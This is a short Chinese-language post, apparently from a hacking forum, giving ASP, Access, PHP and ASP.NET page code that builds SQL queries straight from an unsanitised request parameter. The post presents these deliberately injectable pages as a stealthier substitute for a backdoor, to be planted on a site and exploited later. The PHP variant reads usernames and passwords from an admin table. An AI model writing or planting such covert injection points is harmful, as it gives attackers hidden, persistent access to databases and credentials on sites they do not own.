把下面的代码分别保存为ASP。PHP。ASPX

Mssql:

<!–#include file=”conn.asp”–>
<%
hid=request.QueryString(“id”)
sql=”select * from admin where id=”&hid
set rs=conn.execute (sql)
%>

Access:

<%
db=”aspzhuru.mdb”‘这里修改数据库路径或名称
Set conn = Server.CreateObject(“ADODB.Connection”)
dbpath=”Provider=Microsoft.Jet.OLEDB.4.0;Data Source=” & Server.MapPath(db)
conn.Open dbpath
%>
Php:

<?
$mysql_server_name = “localhost”;
    $mysql_username    = “root”;
    $mysql_password    = “password”;
    $mysql_database    = “phpzr”;
    $conn=mysql_connect( $mysql_server_name, $mysql_username, $mysql_password );
    mysql_select_db($mysql_database,$conn);
$id=$_GET['id'];
    $sql = “select username,password from admin where id=$id”;
    $result=mysql_db_query( $mysql_database, $sql,$conn );   
    $row=mysql_fetch_row($result);
?>
.net （放到代码文件.cs里面）:

using System.Data;
using System.Configuration;
using System.Collections;
using System.Web;
using System.Web.Security;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Web.UI.WebControls.WebParts;
using System.Web.UI.HtmlControls;
using System.Data.SqlClient;
public partial class Default2 : System.Web.UI.Page
{
 
protected void Page_Load(object sender, EventArgs e)
    {
        SqlConnection conn = new SqlConnection();
        conn.ConnectionString = ConfigurationManager.ConnectionStrings["StudyConnectionString"].ToString();
        conn.Open();
        SqlCommand cmd = new SqlCommand(“select * from [table] where id= ” + this.Page.Request.Params["getid"], conn);
        cmd.ExecuteNonQuery();
        this.Page.RegisterClientScriptBlock(“script”, “<script>alert(‘注射成功’)</script>”);
    }
}

这比留后门好点。不容易被发现。当然PHP的话要数据库帐号支持外连。